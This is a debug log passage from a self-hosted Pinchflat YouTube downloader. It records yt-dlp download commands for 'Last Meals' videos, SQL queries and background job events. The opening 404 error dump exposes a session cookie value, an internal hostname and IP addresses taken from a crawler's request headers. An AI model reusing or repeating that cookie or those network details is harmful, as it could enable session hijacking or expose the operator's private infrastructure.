404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 45904}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYTXdMSGduck5jcW1ydjdqSW9LS242dFRa.4bnK5r_ykY9JO8RUgRJhmJgNtvN-99haU4allWoml6A", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: (truncated) 22:36:28.927 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:38.393 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=cCD23fss8GQ --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7e/c1/7ec1f614f59584a5de1be671d68c41da6e7607a29c4efd10df7fe3535e1f058d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:36:38.402 [debug] Running yt-dlp command for action: download_thumbnail 22:36:38.403 [debug] QUERY OK source="settings" db=0.0ms idle=340.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:38.403 [debug] QUERY OK source="settings" db=0.0ms idle=340.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:38.403 [debug] QUERY OK source="settings" db=0.0ms idle=340.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:38.403 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=cCD23fss8GQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/96/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a4/9d/a49d03f8ff6247ef947886d687f15d5e839feee5f648c496a72389a8a3b66e2d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:36:41.058 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=cCD23fss8GQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/96/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a4/9d/a49d03f8ff6247ef947886d687f15d5e839feee5f648c496a72389a8a3b66e2d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:36:41.058 [debug] QUERY OK db=0.0ms idle=996.2ms begin [] 22:36:41.059 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:36:38Z], "/downloads/Last Meals/2022-02-15 24kGoldn Eats His Last Meal/24kGoldn Eats His Last Meal [cCD23fss8GQ].mp4", ~U[2026-03-28 02:36:41Z], 96] 22:36:41.060 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/96/metadata.json.gz", "/config/metadata/media_items/96/thumbnail.jpg", 96, ~U[2026-03-28 02:36:41Z], ~U[2026-03-28 02:36:41Z]] 22:36:41.060 [debug] QUERY OK db=0.1ms commit [] 22:36:41.061 [debug] QUERY OK source="media_items" db=0.8ms idle=998.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [385546521, ~U[2026-03-28 02:36:41Z], 96] 22:36:41.061 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:36:41.061 [info] {"args":{"id":96},"id":95,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":160210859,"event":"job:stop","queue_time":6297850342,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:36:41.062 [debug] QUERY OK source="tasks" db=0.3ms idle=999.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:36:41.062 [debug] QUERY OK source="tasks" db=0.3ms idle=687.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:36:41.062 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [97] 22:36:41.062 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [97] 22:36:41.067 [info] {"args":{"id":98},"id":97,"meta":{},"system_time":1774665401067732649,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:36:41.068 [debug] QUERY OK source="tasks" db=0.4ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:36:41.068 [debug] QUERY OK source="media_items" db=0.4ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [98] 22:36:41.068 [debug] QUERY OK source="tasks" db=0.5ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:36:41.068 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:36:41.068 [debug] QUERY OK source="media_items" db=0.1ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [97, 98] 22:36:41.069 [debug] QUERY OK source="sources" db=0.3ms idle=0.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:36:41.069 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [97, 98] 22:36:41.069 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:36:41.069 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [98] 22:36:41.070 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [98] 22:36:41.070 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:36:41.070 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:41.070 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:41.070 [debug] Running yt-dlp command for action: get_downloadable_status 22:36:41.070 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:41.071 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:41.071 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:41.071 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Mo5JVuW4_qk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f2/48/f248d5cdcec755a7ba3a5afcddbbaf60ef53e6049c9352ae41a721040cae685e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:36:43.502 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Mo5JVuW4_qk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f2/48/f248d5cdcec755a7ba3a5afcddbbaf60ef53e6049c9352ae41a721040cae685e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:36:43.503 [debug] Running yt-dlp command for action: download 22:36:43.503 [debug] QUERY OK source="settings" db=0.1ms idle=440.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:43.503 [debug] QUERY OK source="settings" db=0.0ms idle=440.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:43.503 [debug] QUERY OK source="settings" db=0.0ms idle=440.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:36:43.503 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Mo5JVuW4_qk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/31/f2/31f22041c2d199165d21fcfdea25cd98825ce134934c324e21ad60889e64f564.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:36:58.928 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.676 [info] {"source":"oban","duration":237,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:10.263 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CIEpU0EF0XI --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d2/10/d210f5b14abe1e6ef8857442170bf55247b48878b55e626110210f736a6523d6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:37:10.277 [debug] Running yt-dlp command for action: download_thumbnail 22:37:10.278 [debug] QUERY OK source="settings" db=0.1ms idle=1215.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:10.278 [debug] QUERY OK source="settings" db=0.0ms idle=1215.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:10.278 [debug] QUERY OK source="settings" db=0.0ms idle=858.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:10.278 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CIEpU0EF0XI --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/97/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/4b/cf/4bcf4d6280446bce79aa2f626c9445f5fc676115d2b16104c0f0242c99540f81.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:37:12.865 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CIEpU0EF0XI --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/97/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/4b/cf/4bcf4d6280446bce79aa2f626c9445f5fc676115d2b16104c0f0242c99540f81.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:37:12.866 [debug] QUERY OK db=0.0ms idle=803.6ms begin [] 22:37:12.867 [debug] QUERY OK source="media_items" db=0.7ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:37:10Z], "/downloads/Last Meals/2024-09-12 Tony Hawk Eats His Last Meal/Tony Hawk Eats His Last Meal [CIEpU0EF0XI].mp4", ~U[2026-03-28 02:37:12Z], 97] 22:37:12.867 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/97/metadata.json.gz", "/config/metadata/media_items/97/thumbnail.jpg", 97, ~U[2026-03-28 02:37:12Z], ~U[2026-03-28 02:37:12Z]] 22:37:12.867 [debug] QUERY OK db=0.1ms commit [] 22:37:12.869 [debug] QUERY OK source="media_items" db=0.9ms idle=805.6ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [308672707, ~U[2026-03-28 02:37:12Z], 97] 22:37:12.869 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:37:12.869 [info] {"args":{"id":97},"id":96,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":113106523,"event":"job:stop","queue_time":6375762390,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:37:12.869 [debug] QUERY OK source="tasks" db=0.3ms idle=807.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:37:12.870 [debug] QUERY OK source="tasks" db=0.4ms idle=444.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:37:12.870 [debug] QUERY OK source="media_items" db=0.0ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [98] 22:37:12.870 [debug] QUERY OK source="media_items" db=0.6ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [98] 22:37:12.876 [info] {"args":{"id":99},"id":98,"meta":{},"system_time":1774665432876028067,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:37:12.876 [debug] QUERY OK source="media_items" db=0.3ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [99] 22:37:12.876 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:37:12.877 [debug] QUERY OK source="tasks" db=1.0ms idle=6.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY 